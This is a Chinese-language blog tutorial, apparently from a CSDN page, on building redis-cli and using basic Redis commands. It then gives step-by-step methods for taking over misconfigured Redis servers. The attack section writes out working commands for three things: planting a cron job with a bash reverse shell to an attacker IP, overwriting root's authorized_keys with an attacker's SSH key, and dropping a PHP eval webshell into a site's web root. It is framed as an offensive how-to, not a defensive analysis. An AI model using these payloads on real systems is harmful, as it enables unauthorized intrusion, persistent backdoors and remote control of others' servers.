redis服务连接及常规操作和redis服务getshell

简介

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。

连接redis服务

首先下载redis-cli(专用于redis服务的命令程序)

下载程序

wget http://download.redis.io/redis-stable.tar.gz

解压

tar -zxf redis-stable.tar.gz

编译

cd redis-stable  #进入目录

make                #编译文件

进入解压好的文件夹(这里我将此程序换了位置改了名字)

编译文件

此时会出现很多数据,不要退出,可能会跑一会儿

创建链接

编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用

ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli

这样就能再任何目录运行此命令

redis的一些常用命令

  1. 启动 Redis 服务:

    redis-server
  2. 连接到 Redis 服务:

    redis-cli
  3. 设置键值对:

    SET key value
  4. 获取键对应的值:

    GET key
  5. 删除键值对:

    DEL key
  6. 检查键是否存在:

    EXISTS key
  7. 设置键的过期时间:

    EXPIRE key seconds
  8. 查看键的剩余过期时间:

    TTL key
  9. 查看键的类型:

    TYPE key
  10. 获取所有键:

    KEYS pattern
  11. 设置列表:

    LPUSH key value1 [value2 ...]
  12. 获取列表:

    LRANGE key start stop
  13. 设置哈希表:

    HSET key field value
  14. 获取哈希表中的值:

    HGET key field
  15. 设置集合:

    SADD key member1 [member2 ...]
  16. 获取集合:

    SMEMBERS key
  17. 获取有关Redis服务器的信息和统计信息:

    info
  18. 获取索引为 0 的数据库中键的数量

    dbsize

redis-getshell

常规的拿到shell的方式有三种

  1. 写定时任务拿到shell
  2. 通过写ssh key的方式拿到shell
  3. 直接再目录里写webshell

写定时任务拿到shell

其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab

  1. 第一步:上线redis

    redis-cli -h 10.129.136.187 -p 6379

  2. 第二步:设置文件夹路径为/var/spool/cron/crontabs

    config set dir /var/spool/cron/crontabs

  3. 第三步:设置备份文件名

    config set dbfilename getshell

  4. 第四步:设置键对值

    set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'

  5. 第五步:保存

    save

然后等待一会儿等攻击机监听到流量即可

通过写ssh key的方式拿到shell

此方法成功的先决条件是

  1. redis服务是以root登录的
  2. 开始22端口并且允许使用密钥登录
  1. 首先攻击机本地生成一个公钥文件

    ssh-keygen -t rsa

  2. 然后得到一个公钥和私钥
  3. 给公钥添加换行符写到txt文件里

    (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

  4. 写入公钥到被攻击机

    config set dir /root/.ssh
    config set dbfilename 'authorized_keys'
    config set shell 'pub.txt的值'
    save
  5. 最后使用攻击机生成的私钥登录即可
    ssh -i id_rsa root@被攻击机ip

直接写webshell

先决条件

  1. 已知网站根目录
  2. 登录redis的用户在网站根目录有可写权限
  1. config set dir /var/www/123.com/html
  2. config set dbfilename shell.php
  3. set shell '<?= eval($_POST[a]);>'
  4. save

后续直接使用蚁剑冰蝎这些上线即可

  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值